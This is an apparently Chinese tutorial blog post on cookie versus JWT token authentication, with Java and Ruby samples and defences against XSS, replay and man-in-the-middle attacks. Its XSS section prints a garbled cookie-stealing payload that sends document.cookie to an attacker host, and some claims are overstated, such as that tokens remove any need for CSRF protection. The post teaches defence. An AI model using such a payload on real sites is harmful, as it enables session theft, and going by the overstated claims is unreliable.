    Cookie认证机制就是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象;通过客户端带上来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认的,当我们关闭浏览器的时候,cookie会被删除。但可以通过修改cookie 的expire time使cookie在一定时间内有效;

    Token Auth

    Token Auth的优点

    Token机制相对于Cookie机制又有什么好处呢?

    • 支持跨域访问: Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输.
    • 无状态(也称:服务端可扩展行):Token机制在服务端不需要存储session信息,因为Token 自身包含了所有登录用户的信息,只需要在客户端的cookie或本地介质存储状态信息.
    • 更适用CDN: 可以通过内容分发网络请求你服务端的所有资料(如:javascript,HTML,图片等),而你的服务端只要提供API即可.
    • 去耦: 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成,只要在你的API被调用的时候,你可以进行Token生成调用即可.
    • 更适用于移动应用: 当你的客户端是一个原生平台(iOS, Android,Windows 8等)时,Cookie是不被支持的(你需要通过Cookie容器进行处理),这时采用Token认证机制就会简单得多。
    • CSRF:因为不再依赖于Cookie,所以你就不需要考虑对CSRF(跨站请求伪造)的防范。
    • 性能: 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多.
    • 不需要为登录页面做特殊处理: 如果你使用Protractor 做功能测试的时候,不再需要为登录页面做特殊处理.
    • 基于标准化:你的API可以采用标准化的 JSON Web Token (JWT). 这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft).

    基于JWT的Token认证机制实现

    JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。其

    JWT的组成

    一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名。
    载荷(Payload)

    { "iss": "Online JWT Builder", 
      "iat": 1416797419, 
      "exp": 1448333419, 
      "aud": "www.example.com", 
      "sub": "jrocket@example.com", 
      "GivenName": "Johnny", 
      "Surname": "Rocket", 
      "Email": "jrocket@example.com", 
      "Role": [ "Manager", "Project Administrator" ] 
    }
    • iss: 该JWT的签发者,是否使用是可选的;
    • sub: 该JWT所面向的用户,是否使用是可选的;
    • aud: 接收该JWT的一方,是否使用是可选的;
    • exp(expires): 什么时候过期,这里是一个Unix时间戳,是否使用是可选的;
    • iat(issued at): 在什么时候签发的(UNIX时间),是否使用是可选的;
      其他还有:
    • nbf (Not Before):如果当前时间在nbf里的时间之前,则Token不被接受;一般都会留一些余地,比如几分钟;,是否使用是可选的;

    将上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。

    eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

    小知识:Base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应于4个Base64单元,即3个字节需要用4个可打印字符来表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder,用它们可以非常方便的完成基于 BASE64 的编码和解码

    头部(Header)
    JWT还需要一个头部,头部用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。

    {
    "typ": "JWT",
    "alg": "HS256"
    }

    在头部指明了签名算法是HS256算法。
    当然头部也要进行BASE64编码,编码后的字符串如下:

    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

    签名(Signature)
    将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:

    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0

    最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话,那么就可以得到我们加密后的内容:

    rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

    最后将这一部分签名也拼接在被签名的字符串后面,我们就得到了完整的JWT:

    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

    在我们的请求URL中会带上这串JWT字符串:

    https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

    认证过程

    下面我们从一个实例来看如何运用JWT机制实现认证:

    登录

    • 第一次认证:第一次登录,用户从浏览器输入用户名/密码,提交后到服务器的登录处理的Action层(Login Action);
    • Login Action调用认证服务进行用户名密码认证,如果认证通过,Login Action层调用用户信息服务获取用户信息(包括完整的用户信息及对应权限信息);
    • 返回用户信息后,Login Action从配置文件中获取Token签名生成的秘钥信息,进行Token的生成;
    • 生成Token的过程中可以调用第三方的JWT Lib生成签名后的JWT数据;
    • 完成JWT数据签名后,将其设置到COOKIE对象中,并重定向到首页,完成登录过程;

    请求认证

    基于Token的认证机制会在每一次请求中都带上完成签名的Token信息,这个Token信息可能在COOKIE
    中,也可能在HTTP的Authorization头中;

    • 客户端(APP客户端或浏览器)通过GET或POST请求访问资源(页面或调用API);
    • 认证服务作为一个Middleware HOOK 对请求进行拦截,首先在cookie中查找Token信息,如果没有找到,则在HTTP Authorization Head中查找;
    • 如果找到Token信息,则根据配置文件中的签名加密秘钥,调用JWT Lib对Token信息进行解密和解码;
    • 完成解码并验证签名通过后,对Token中的exp、nbf、aud等信息进行验证;
    • 全部通过后,根据获取的用户的角色权限信息,进行对请求的资源的权限逻辑判断;
    • 如果权限逻辑判断通过则通过Response对象返回;否则则返回HTTP 401;

    对Token认证的五点认识

    对Token认证机制有5点直接注意的地方:

    • 一个Token就是一些信息的集合;
    • 在Token中包含足够多的信息,以便在后续请求中减少查询数据库的几率;
    • 服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查;
    • 基于上一点,你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端;
    • 因为token是被签名的,所以我们可以认为一个可以解码认证通过的token是由我们系统发放的,其中带的信息是合法有效的;

    JWT的JAVA实现

    Java中对JWT的支持可以考虑使用JJWT开源库;JJWT实现了JWT, JWS, JWE 和 JWA RFC规范;下面将简单举例说明其使用:
    生成Token码

    import javax.crypto.spec.SecretKeySpec;
    import javax.xml.bind.DatatypeConverter;
    import java.security.Key;
    import io.jsonwebtoken.*;
    import java.util.Date;    
     
    //Sample method to construct a JWT
     
    private String createJWT(String id, String issuer, String subject, long ttlMillis) {
     
    //The JWT signature algorithm we will be using to sign the token
    SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
     
    long nowMillis = System.currentTimeMillis();
    Date now = new Date(nowMillis);
     
    //We will sign our JWT with our ApiKey secret
    byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
    Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
     
      //Let's set the JWT Claims
    JwtBuilder builder = Jwts.builder().setId(id)
                                    .setIssuedAt(now)
                                    .setSubject(subject)
                                    .setIssuer(issuer)
                                    .signWith(signatureAlgorithm, signingKey);
     
    //if it has been specified, let's add the expiration
    if (ttlMillis >= 0) {
        long expMillis = nowMillis + ttlMillis;
        Date exp = new Date(expMillis);
        builder.setExpiration(exp);
    }
     
    //Builds the JWT and serializes it to a compact, URL-safe string
    return builder.compact();
    }

    解码和验证Token码

    import javax.xml.bind.DatatypeConverter;
    import io.jsonwebtoken.Jwts;
    import io.jsonwebtoken.Claims;
     
    //Sample method to validate and read the JWT
    private void parseJWT(String jwt) {
    //This line will throw an exception if it is not a signed JWS (as expected)
    Claims claims = Jwts.parser()        
       .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
       .parseClaimsJws(jwt).getBody();
    System.out.println("ID: " + claims.getId());
    System.out.println("Subject: " + claims.getSubject());
    System.out.println("Issuer: " + claims.getIssuer());
    System.out.println("Expiration: " + claims.getExpiration());
    }
    

    基于JWT的Token认证的安全问题

    确保验证过程的安全性

    如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。

    如何防范XSS Attacks

    浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:

    <img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
    +document.cookie;return a}())"

    这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?

    • XSS攻击代码过滤
      移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现(如:js下的js-xss,JAVA下的XSS HTMLFilter,PHP下的TWIG);如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤;
    • 采用HTTP-Only Cookies
      通过设置Cookie的参数: HttpOnly; Secure 来防止通过JavaScript 来访问Cookie;
      如何在Java中设置cookie是HttpOnly呢?
      Servlet 2.5 API 不支持 cookie设置HttpOnly
      http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
      建议升级Tomcat7.0,它已经实现了Servlet3.0
      http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
      或者通过这样来设置:
    //设置cookie
    response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
    
    //设置多个cookie
    response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
    response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");
    
    //设置https的cookie
    response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
    

    在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;

    如何防范Replay Attacks

    所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
    针对这种情况,有几种常用做法可以用作参考:
    1、时间戳 +共享秘钥
    这种方案,客户端和服务端都需要知道:

    • User ID
    • 共享秘钥

    客户端

    auth_header = JWT.encode({
      user_id: 123,
      iat: Time.now.to_i,      # 指定token发布时间
      exp: Time.now.to_i + 2   # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率;
    }, "<my shared secret>")
    RestClient.get("http://api.example.com/", authorization: auth_header)
    

    服务端

    class ApiController < ActionController::Base
      attr_reader :current_user
      before_action :set_current_user_from_jwt_token
    
      def set_current_user_from_jwt_token
        # Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查
        # the signature. Note JWT tokens are *not* encrypted, but signed.
        payload = JWT.decode(request.authorization, nil, false)
    
        # Step 2: 检查该用户是否存在于数据库
        @current_user = User.find(payload['user_id'])
        
        # Step 3: 检查Token签名是否正确.
        JWT.decode(request.authorization, current_user.api_secret)
        
        # Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的.
        now = Time.now.to_i
        if payload['iat'] > now || payload['exp'] < now
          # 如果过期则返回401
        end
      rescue JWT::DecodeError
        # 返回 401
      end
    end
    

    2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
    客户端

    auth_header = JWT.encode({
      user_id: 123,
      jti: rand(2 << 64).to_s,  # 通过jti确保一个token只使用一次,防止replace attack
      iat: Time.now.to_i,       # 指定token发布时间.
      exp: Time.now.to_i + 2    # 指定token过期时间为2秒后
    }, "<my shared secret>")
    RestClient.get("http://api.example.com/", authorization: auth_header)

    服务端

    def set_current_user_from_jwt_token
      # 前面的步骤参考上面
      payload = JWT.decode(request.authorization, nil, false)
      @current_user = User.find(payload['user_id'])
      JWT.decode(request.authorization, current_user.api_secret)
      now = Time.now.to_i
      if payload['iat'] > now || payload['exp'] < now
        # 返回401
      end
      
      # 下面将检查确保这个JWT之前没有被使用过
      # 使用Redis的原子操作
      
      # The redis 的键: <user id>:<one-time use token>
      key = "#{payload['user_id']}:#{payload['jti']}"
      
      # 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. .
      if redis.getset(key, "1")
        # 返回401
        # 
      end
      
      # 进行键值过期检查
      redis.expireat(key, payload['exp'] + 2)
    end
    

    如何防范MITM (Man-In-The-Middle)Attacks

    所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
    针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。

    六、使用shiro实现登录安全认证

    shiro的优势,不需要再代码里面判断是否登录,是否有执行的权限,实现了从前端页面到后台代码的权限的控制非常的灵活方便

    传统的登录认证方式是,从前端页面获取到用户输入的账号和密码之后,直接去数据库查询账号和密码是否匹配和存在,如果匹配和存在就登录成功,没有就提示错误

    而shiro的认证方式则是,从前端页面获取到用户输入的账号和密码之后,传入给一个UsernamePasswordToken对象也就是令牌,

    然后再把令牌传给subject,subject会调用自定义的 realm,

    realm做的事情就是用前端用户输入的用户名,去数据库查询出一条记录(只用用户名去查,查询拿到返回用户名和密码),然后再把两个密码进行对比,不一致就跑出异常

    也就是说如果subject.login(token);没有抛出异常,就表示用户名和密码是匹配的,表示登录成功。

    【参考资料】希望对大家有用!

    登陆:极验证+手机验证/APP人脸虹膜验证 (验证基本符合要求,如果特殊可以对接api进行公安部认证)
    登陆:微信公众号二维码扫描验证 (绑定已验证身份的管理员)
    登陆:一次登陆+二次登陆验证(双重验证)  设置2-3分钟时间,第二次验证未成功,直接退出
     

    1、Android App 安全登录认证解决方案 -  https://blog.csdn.net/zhaoxiaojian1213/article/details/79472120

    2、手势验证码(VAPTCHA) - 人机验证安全新标准 https://www.vaptcha.com/

    3、GEETEST极验—让互联网交互安全更美好 http://www.geetest.com/

    4、腾讯验证码 - 智能的人机安全验证,微信/QQ都在使用 https://007.qq.com/product.html

    5、即时通讯_API数据接口_免费数据调用-聚合数据 https://www.juhe.cn/docs/index/cid/13

    6、SecID锦佰安科技 | 身份识别综合解决方案提供商 https://www.secid.cn/ 

    7、顶象技术 - 互联网业务安全的引领者 https://www.dingxiang-inc.com/

    8、谷歌的验证码,请移步至谷歌开发者社区

    9、无痕验证WEB/HTML5使用说明_人机验证-使用说明_用户指南_数据风控-阿里云 https://help.aliyun.com/document_detail/66308.html

    10、创蓝短信手机验证一键登录

    以前还有洋葱验证,只可惜项目去年就中断哒。dnspod创始人的精品力作,而且当时迎合了大部分开发者的需求。关键是免费使用的,看来开源和免费的,最终DOU是要靠商业来维持正常运作的…

    展开全文
  • App安全

    2019-01-12 14:12:42
    经常做的网络参数加密解密,以及防止数据重放之外,还提到了防范反编译的风险,其实Apple算比较安全的了,反编译过来也就看到.h文件....但把代码混淆还是会比较好些。 一、iOS 中的网络加密  公司的接口一般会两种...
  • App安全二三事

    千次阅读 2018-06-04 18:22:33
    首先插播一条自己的广告——有些朋友可能都知道了,我最近创建了一个知识星球,在...App安全二三事 客户端防作弊,是一个很重要,但又很难做好的事情,矛与盾永远是道高一尺,魔高一丈。 为什么要安全 现在几...
  • 移动APP安全测试

    千次阅读 2018-11-06 16:07:34
    1 移动APP安全风险分析 1.1 安全威胁分析 安全威胁从三个不同环节进行划分,主要分为客户端威胁、数据传输端威胁和服务端的威胁。 1.2 面临的主要风险 1.3 Android测试思维导图   1.4 反编译工具 ...
  • 移动互联网安全性测试技术简介

    万次阅读 2015-08-04 15:50:19
    它的整个生命周期包含安全检测、安全评估、安全加固和APP发布渠道监测。 安全检测 对象:所有待上线的APP 目标:防止恶意软件流入应用市场 内容:对APP进行安全性检测,检测APP是否存在病毒、木马等恶意代码 安全...
  • 我们安装某些不是来源于mac的App Store的时候,会经常有以下报错提示: 在偏好设置的“安全性与隐私”,允许一下就可以临时处理 我们可以使用终端命令,将第三个选项打开 sudo spctl --master-disable 如果...
  • PHP做APP接口时,如何保证接口的安全性? 1、当用户登录APP时,使用https协议调用后台相关接口,服务器端根据用户名和密码时生成一个access_key,并将access_key保存在session中,将生成的access_key和session_id...
  • Android安全:禁止APP录屏和截屏

    万次阅读 热门讨论 2020-03-26 08:57:52
    Android有些APP会为了安全,禁止录屏和截屏,例如:金融、银行相关的。禁止录屏和截屏并不难,只需要在 Activity 的onCreate() 方法中添加一行代码即可: getWindow().addFlags(WindowManager.LayoutParams.FLAG_...
  • Mac电脑使用:您的安全性偏好设置仅允许安装来自App Store和被认可的开发者的应用(解决方法) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 昨天准备给电脑上安装“SEED”,然后别人给我一个压缩包...
  • app安全评估报告,如何搞定呢?!

    千次阅读 2019-06-25 09:56:41
    你的app上架,遇到【安全评估报告】门槛了么?什么是“安全评估报告”?没有“报告”会有什么后果?专业的第三方评测机构帮助企业app顺利上架 什么是“安全评估报告”? 2018年11月15日,网信办...
  • 您的安全性偏好设置仅允许安装来自 App Store 和被认可的开发者的应用。 安装macOS Sierra后,会发现系统偏好设置的“安全与隐私”中默认已经去除了允许“任何来源”App的选项,无法运行一些第三方应用。 ...
  • 移动APP安全测试要点

    万次阅读 2018-08-02 15:46:44
    安全检测要点 Allowbackup漏洞 WebView漏洞 关键数据明文传输 任意账号注册 登录界面可被钓鱼劫持 有争议的整改建议 关键数据明文传输 登录界面钓鱼劫持 总结 评估思路 移动APP面临的威胁 ...
  • app后端设计--总目录

    万次阅读 多人点赞 2016-09-08 09:47:44
    4年App后台经验的总结
  • APP安全在线检测--持续更新

    万次阅读 2019-11-08 16:44:36
    伴随着移动互联网的高速发展,移动应用APP的安全问题也走进了人们的视角,在企业安全建设过中,往往需要对企业移动应用APP进行一个安全风险评估,从而了解总体的安全情况,以下我们将简要介绍以下的几个APP安全在线...
  • 移动应用与API 服务器之间的安全通信解决方法

    万次阅读 热门讨论 2014-09-10 11:15:09
    最近接触到了移动端API开发的问题,为了确保应用与API 服务器之间的安全通信,防止数据篡改等恶意攻击,和同事探讨出此验证方法: 首先向移动端应用分配APP_ID(int) ,APP_KEY(32位随机字串),移动端利用APP_ID ...
  • 关于APP接口防止抓包问题

    万次阅读 2016-01-28 17:00:21
    最近遇到APP接口安全的问题,为防止抓包,解决方案: 1.在每个接口添加一个code用于接口验证,验证不通过则不能请求回数据如 http://localhost:8080/car/info.do?a=1&b=2&code=MD5(a=1b=2) 2.每个...
  • 具体如下:App打开小程序更直接此前,我们开放了“APP转发到微信,点开就是小程序”以及“指定小程序页面跳回APP”的能力,初步实现了APP和小程序的互相跳转。这次我们更直接——App打开小程序功能上线了。开发者的...
1 2 3 4 5 ... 20
收藏数 340,658
精华内容 136,263
关键字:

app安全